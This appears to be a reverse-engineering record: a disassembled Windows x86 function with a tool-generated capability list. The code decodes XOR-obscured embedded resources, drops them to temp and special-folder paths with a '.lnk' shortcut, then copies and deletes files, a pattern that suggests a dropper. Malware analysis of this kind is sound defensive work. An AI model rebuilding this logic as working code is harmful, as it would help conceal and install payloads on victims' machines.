Function at 0x4035e0
Capabilities:
Copy file
Delete file
Encode data using xor
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3dc
mov eax, dword [0x42a030]
xor eax, esp
mov dword [esp + 0x3d8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x2c], esp
push ecx
mov ecx, str.BINDATA
mov dword [esp + 0x1c], 0
call fcn.004046d0
push 0x82
call fcn.00402500
mov edx, dword [esp + 0x1c]
mov edx, dword [eax + edx - 4]
add esp, 0xc
xor ecx, ecx
test edx, edx
jbe 0x40363f
xor byte [ecx + eax], dl
inc ecx
cmp ecx, edx
jb 0x403637
lea ecx, [esp + 0x4c]
push ecx
mov esi, eax
call fcn.004045c0
lea ebx, [esp + 0x4c]
call fcn.00404660
lea edx, [esp + 0xe0]
push edx
call fcn.004034d0
mov eax, dword [esp + 0x4c]
push ecx
add eax, 0xfffffff0
mov byte [esp + 0xe4], 0
mov dword [esp + 0x28], esp
mov esi, esp
call fcn.00407510
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0xe4]
push eax
call fcn.00402d40
push 0x208
call fcn.00409960
add esp, 4
push 0
push 0
mov esi, eax
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [esp + 0x44]
push ecx
mov ecx, esi
call fcn.004046d0
xor ebx, ebx
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea eax, [esp + 0x1e8]
lea edx, [esp + 0x1ec]
push eax
mov dword [esp + 0x1ec], edx
call fcn.00406ef0
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x1e4]
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea edx, [esp + 0x1e4]
cmp eax, edx
je 0x403713
push eax
call fcn.00409788
add esp, 4
mov ebx, 1
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea edx, [esp + 0x1e8]
lea ecx, [esp + 0x1ec]
push edx
mov dword [esp + 0x1ec], ecx
call fcn.00406ef0
mov ecx, dword [esp + 0x1e0]
lea eax, [esp + 0x40]
push eax
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea ecx, [esp + 0x1e4]
cmp eax, ecx
je 0x403773
push eax
call fcn.00409788
add esp, 4
mov ebx, 2
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea eax, [esp + 0x1e8]
lea edx, [esp + 0x1ec]
push eax
mov dword [esp + 0x1ec], edx
call fcn.00406ef0
lea ecx, [esp + 0x38]
push ecx
mov ecx, dword [esp + 0x1e4]
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea edx, [esp + 0x1e4]
cmp eax, edx
je 0x4037d3
push eax
call fcn.00409788
add esp, 4
mov ebx, 3
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea edx, [esp + 0x1e8]
lea ecx, [esp + 0x1ec]
push edx
mov dword [esp + 0x1ec], ecx
call fcn.00406ef0
mov ecx, dword [esp + 0x1e0]
lea eax, [esp + 0x20]
push eax
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea ecx, [esp + 0x1e4]
cmp eax, ecx
je 0x403833
push eax
call fcn.00409788
add esp, 4
mov ebx, 4
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea eax, [esp + 0x1e8]
lea edx, [esp + 0x1ec]
push eax
mov dword [esp + 0x1ec], edx
call fcn.00406ef0
lea ecx, [esp + 0x48]
push ecx
mov ecx, dword [esp + 0x1e4]
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea edx, [esp + 0x1e4]
cmp eax, edx
je 0x403893
push eax
call fcn.00409788
add esp, 4
mov ebx, 5
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea edx, [esp + 0x1e8]
lea ecx, [esp + 0x1ec]
push edx
mov dword [esp + 0x1ec], ecx
call fcn.00406ef0
mov ecx, dword [esp + 0x1e0]
lea eax, [esp + 0x3c]
push eax
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea ecx, [esp + 0x1e4]
cmp eax, ecx
je 0x4038f3
push eax
call fcn.00409788
add esp, 4
mov ebx, 6
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea eax, [esp + 0x1e8]
lea edx, [esp + 0x1ec]
push eax
mov dword [esp + 0x1ec], edx
call fcn.00406ef0
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x1e4]
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea edx, [esp + 0x1e4]
cmp eax, edx
je 0x403953
push eax
call fcn.00409788
add esp, 4
mov ebx, 7
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea edx, [esp + 0x1e8]
lea ecx, [esp + 0x1ec]
push edx
mov dword [esp + 0x1ec], ecx
call fcn.00406ef0
mov ecx, dword [esp + 0x1e0]
lea eax, [esp + 0x18]
push eax
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea ecx, [esp + 0x1e4]
cmp eax, ecx
je 0x4039b3
push eax
call fcn.00409788
add esp, 4
mov ebx, 8
lea eax, [esp + 0xe4]
call fcn.00405fb0
mov eax, dword [eax]
push 0xfde9
push eax
lea eax, [esp + 0x1e8]
lea edx, [esp + 0x1ec]
push eax
mov dword [esp + 0x1ec], edx
call fcn.00406ef0
lea ecx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x1e4]
call fcn.004046d0
mov eax, dword [esp + 0x1e0]
lea edx, [esp + 0x1e4]
cmp eax, edx
je 0x403a13
push eax
call fcn.00409788
add esp, 4
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x18]
push edx
mov ebx, 0x4274a8
call fcn.00404bd0
lea ecx, [esp + 0x28]
add esp, 8
push ecx
mov ebx, eax
call fcn.00404b20
push eax
lea edx, [esp + 0x34]
push edx
mov ebx, str..lnk
call fcn.00404bd0
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403a6e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403a8e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x10]
push ecx
push ecx
mov edx, esp
mov dword [esp + 0x2c], esp
push edx
mov ecx, str.BINDATA
mov dword [esp + 0x1c], 0
call fcn.004046d0
push 0x81
call fcn.00402500
mov edi, eax
mov eax, dword [esp + 0x1c]
mov ebx, dword [edi + eax - 4]
add esp, 0xc
xor eax, eax
test ebx, ebx
jbe 0x403ad8
lea ebx, [ebx]
xor byte [eax + edi], bl
inc eax
cmp eax, ebx
jb 0x403ad0
push 0x208
call fcn.00409960
add esp, 4
push 0x208
mov esi, eax
call fcn.00409960
add esp, 4
push esi
push 0x104
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [esp + 0x10]
push ecx
push 0
push 0x4274d0
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push esi
call fcn.004095dd
mov ecx, dword [esp + 0x14]
add esp, 4
lea edx, [esp + 0x34]
push edx
call fcn.004046d0
lea eax, [esp + 0x50]
push eax
call fcn.004051e0
mov ecx, dword [esp + 0x34]
push 0x33
lea edx, [esp + 0x60]
call fcn.004068f0
test eax, eax
jne 0x403b78
mov ecx, dword [esp + 0x50]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x58]
lea ecx, [esp + ecx + 0x50]
or eax, 2
cmp dword [ecx + 0x28], 0
jne 0x403b66
or eax, 4
and eax, 0x17
mov dword [ecx + 8], eax
test dword [ecx + 0xc], eax
je 0x403b78
push 0
call fcn.00401b20
push edi
lea edx, [esp + 0x5c]
push edx
mov ecx, ebx
call fcn.00404dd0
lea esi, [esp + 0x5c]
call fcn.00406990
test eax, eax
jne 0x403bbf
mov eax, dword [esp + 0x50]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x58]
lea ecx, [esp + ecx + 0x50]
or eax, 2
cmp dword [ecx + 0x28], 0
jne 0x403bad
or eax, 4
and eax, 0x17
mov dword [ecx + 8], eax
test dword [ecx + 0xc], eax
je 0x403bbf
push 0
call fcn.00401b20
mov edx, dword [esp + 0x14]
push 3
push edx
lea eax, [esp + 0x1e8]
lea ecx, [esp + 0x1ec]
push eax
mov dword [esp + 0x1ec], ecx
call fcn.00406fb0
mov ecx, dword [esp + 0x1e0]
push ecx
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
mov eax, dword [esp + 0x1e0]
lea edx, [esp + 0x1e4]
cmp eax, edx
je 0x403c0a
push eax
call fcn.00409788
add esp, 4
mov eax, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push eax
call ebx
test eax, eax
je 0x403c53
mov eax, dword [esp + 0x14]
mov ecx, 0x427334
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x403c4a
test dx, dx
je 0x403c46
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x403c4a
add eax, 4
add ecx, 4
test dx, dx
jne 0x403c24
xor eax, eax
jmp 0x403c4f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403cae
mov ecx, dword [esp + 0x34]
push 0x5c
push ecx
call fcn.00409a4c
add esp, 8
test eax, eax
jne 0x403c6b
or eax, 0xffffffff
jmp 0x403c71
sub eax, dword [esp + 0x34]
sar eax, 1
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x34]
call fcn.00404ab0
lea edi, [esp + 0x14]
call fcn.00406410
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403ca7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x14]
push ecx
call ebx
mov edx, dword [esp + 0x14]
push edx
mov esi, 1
call ebx
mov ecx, dword [esp + 0x34]
push 3
push ecx
lea edx, [esp + 0x1e8]
lea eax, [esp + 0x1ec]
push edx
mov dword [esp + 0x1ec], eax
call fcn.00406fb0
mov ecx, dword [esp + 0x1e0]
call fcn.00401f00
mov eax, dword [esp + 0x1e0]
lea ecx, [esp + 0x1e4]
cmp eax, ecx
je 0x403d03
push eax
call fcn.00409788
add esp, 4
mov edx, dword [esp + 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edx
call edi
mov eax, dword [esp + 0x2c]
cmp dword [eax - 4], esi
jle 0x403d2b
mov eax, dword [eax - 0xc]
push eax
lea ecx, [esp + 0x30]
push ecx
call fcn.00406500
mov eax, dword [esp + 0x2c]
push eax
call fcn.00402870
add esp, 4
test eax, eax
je 0x403d5f
mov eax, dword [esp + 0x2c]
cmp dword [eax - 4], esi
jle 0x403d53
mov edx, dword [eax - 0xc]
push edx
lea eax, [esp + 0x30]
push eax
call fcn.00406500
mov eax, dword [esp + 0x2c]
push esi
push 0
push eax
call fcn.004029b0
add esp, 0xc
mov eax, dword [esp + 0x18]
cmp dword [eax - 4], esi
jle 0x403d7a
mov ecx, dword [eax - 0xc]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00406500
mov eax, dword [esp + 0x18]
push eax
call fcn.00402870
add esp, 4
test eax, eax
je 0x403dcf
mov eax, dword [esp + 0x18]
cmp dword [eax - 4], esi
jle 0x403da2
mov eax, dword [eax - 0xc]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.00406500
mov eax, dword [esp + 0x18]
push esi
push 0x427554
push eax
call fcn.004029b0
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [eax - 4], esi
jle 0x403dcc
mov edx, dword [eax - 0xc]
push edx
lea eax, [esp + 0x1c]
push eax
call fcn.00406500
mov eax, dword [esp + 0x18]
push eax
call edi
mov eax, dword [esp + 0x40]
mov ecx, 0x42755c
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x403dfe
test dx, dx
je 0x403dfa
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x403dfe
add eax, 4
add ecx, 4
test dx, dx
jne 0x403dd8
xor eax, eax
jmp 0x403e03
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403f42
lea ecx, [esp + 0x1e0]
push ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [esp + 0x1e0]
lea edx, [eax + 2]
jmp 0x403e30
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403e30
sub eax, edx
lea edx, [esp + 0x1e0]
sar eax, 1
push edx
lea ecx, [esp + 0x18]
push ecx
mov ebx, eax
call fcn.00407600
lea edx, [esp + 0x14]
mov edi, 1
push edx
mov eax, edi
call fcn.00408070
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x14]
push ecx
lea ebx, [esp + 0x1c]
call fcn.00404b20
mov eax, dword [esp + 0x18]
add esp, 8
add eax, 0xfffffff0
call fcn.004076b0
mov esi, eax
add esi, 0x10
cmp dword [esi - 4], edi
mov dword [esp + 0x1c], esi
jle 0x403ea6
mov edx, dword [esi - 0xc]
push edx
lea eax, [esp + 0x20]
push eax
call fcn.00406500
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
cmp dword [eax - 4], edi
jle 0x403ec1
mov ecx, dword [eax - 0xc]
push ecx
lea edx, [esp + 0x24]
push edx
call fcn.00406500
mov eax, dword [esp + 0x20]
mov ebx, dword [esp + 0x28]
cmp dword [ebx - 4], 1
mov edi, eax
jle 0x403edf
mov eax, dword [ebx - 0xc]
push eax
lea ecx, [esp + 0x2c]
push ecx
call fcn.00406500
mov ebx, dword [esp + 0x28]
mov ecx, dword [esp + 0x10]
cmp dword [ecx - 4], 1
jle 0x403efb
mov edx, dword [ecx - 0xc]
push edx
lea eax, [esp + 0x14]
push eax
call fcn.00406500
mov ecx, dword [esp + 0x10]
push esi
push edi
push ebx
call fcn.004025d0
lea eax, [esi - 0x10]
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f22
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f42
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x40]
mov ecx, 0x427560
jmp 0x403f50
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x403f76
test dx, dx
je 0x403f72
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x403f76
add eax, 4
add ecx, 4
test dx, dx
jne 0x403f50
xor eax, eax
jmp 0x403f7b
sbb eax, eax
sbb eax, 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4040b2
lea ecx, [esp + 0x1e0]
push ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [esp + 0x1e0]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403fa6
sub eax, edx
lea edx, [esp + 0x1e0]
sar eax, 1
push edx
lea ecx, [esp + 0x18]
push ecx
mov ebx, eax
call fcn.00407600
lea edx, [esp + 0x14]
push edx
mov eax, 1
call fcn.00408070
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x14]
push ecx
lea ebx, [esp + 0x1c]
call fcn.00404b20
mov eax, dword [esp + 0x18]
add esp, 8
add eax, 0xfffffff0
call fcn.004076b0
mov esi, eax
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x2c]
push ecx
mov ebx, 0x4274a8
add esi, 0x10
call fcn.00404bd0
lea edx, [esp + 0x28]
add esp, 8
push edx
mov ebx, eax
call fcn.00404b20
mov eax, dword [eax]
mov ecx, dword [esp + 0x18]
add esp, 8
push 0
push eax
push ecx
call edi
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404056
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404076
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404092
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4040b2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x40]
mov ecx, 0x427564
jmp 0x4040c0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4040e6
test dx, dx
je 0x4040e2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4040e6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4040c0
xor eax, eax
jmp 0x4040eb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4042da
lea ecx, [esp + 0x1e0]
push ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [esp + 0x1e0]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404110
sub eax, edx
lea edx, [esp + 0x1e0]
sar eax, 1
push edx
lea ecx, [esp + 0x18]
push ecx
mov ebx, eax
call fcn.00407600
lea edx, [esp + 0x14]
push edx
mov eax, 1
call fcn.00408070
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x14]
push ecx
lea ebx, [esp + 0x1c]
call fcn.00404b20
add esp, 8
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x24]
push ecx
mov ebx, 0x4274a8
call fcn.00404bd0
lea edx, [esp + 0x30]
add esp, 8
push edx
mov ebx, eax
call fcn.00404b20
mov eax, dword [eax]
mov ecx, dword [esp + 0x18]
add esp, 8
push 0
push eax
push ecx
call edi
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4041af
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4041cf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push edx
mov ebx, 0x427568
call fcn.00404bd0
add esp, 8
lea edi, [esp + 0x10]
call fcn.00406410
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40420f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.004076b0
mov esi, eax
add esi, 0x10
mov edi, 1
cmp dword [esi - 4], edi
mov dword [esp + 0x1c], esi
jle 0x404240
mov ecx, dword [esi - 0xc]
push ecx
lea edx, [esp + 0x20]
push edx
call fcn.00406500
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
cmp dword [ebx - 4], edi
jle 0x40425b
mov eax, dword [ebx - 0xc]
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.00406500
mov ebx, dword [esp + 0x20]
mov edi, dword [esp + 0x28]
cmp dword [edi - 4], 1
jle 0x404277
mov edx, dword [edi - 0xc]
push edx
lea eax, [esp + 0x2c]
push eax
call fcn.00406500
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x10]
cmp dword [ecx - 4], 1
jle 0x404293
mov ecx, dword [ecx - 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
call fcn.00406500
mov ecx, dword [esp + 0x10]
push esi
push ebx
push edi
call fcn.004025d0
add esi, 0xfffffff0
add esp, 0xc
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4042ba
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4042da
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
mov esi, 1
cmp dword [eax - 4], esi
jle 0x404305
mov ecx, dword [eax - 0xc]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00406500
mov eax, dword [esp + 0x18]
push eax
call fcn.00402870
add esp, 4
test eax, eax
je 0x404334
mov eax, dword [esp + 0x18]
cmp dword [eax - 4], esi
jle 0x40432d
mov eax, dword [eax - 0xc]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.00406500
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esp + 0x30]
cmp dword [eax - 4], esi
jle 0x40434f
mov edx, dword [eax - 0xc]
push edx
lea eax, [esp + 0x34]
push eax
call fcn.00406500
mov eax, dword [esp + 0x30]
push eax
call fcn.00402870
add esp, 4
test eax, eax
je 0x404384
mov eax, dword [esp + 0x30]
cmp dword [eax - 4], esi
jle 0x404377
mov ecx, dword [eax - 0xc]
push ecx
lea edx, [esp + 0x34]
push edx
call fcn.00406500
mov eax, dword [esp + 0x30]
push 0
push 0
push eax
call fcn.004029b0
add esp, 0xc
mov ecx, dword [esp + 0x48]
cmp dword [ecx - 4], esi
jle 0x40439f
mov eax, dword [ecx - 0xc]
push eax
lea ecx, [esp + 0x4c]
push ecx
call fcn.00406500
mov ecx, dword [esp + 0x48]
call fcn.00401d30
mov ecx, dword [esp + 0x3c]
cmp dword [ecx - 4], esi
jle 0x4043bf
mov edx, dword [ecx - 0xc]
push edx
lea eax, [esp + 0x40]
push eax
call fcn.00406500
mov ecx, dword [esp + 0x3c]
call fcn.00401d30
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [esp + 0xac]
call fcn.004052d0
lea ecx, [esp + 0xac]
push ecx
mov dword [esp + 0xb0], vtable.std::ios_base.0
call fcn.0041b199
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
add esp, 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x404413
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404433
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404453
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404473
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404493
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4044b3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4044d3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4044f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404513
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404533
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404553
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404573
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xe0]
push ecx
call fcn.00403350
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4045a0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x3e4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004095ce
mov esp, ebp
pop ebp
ret 0x10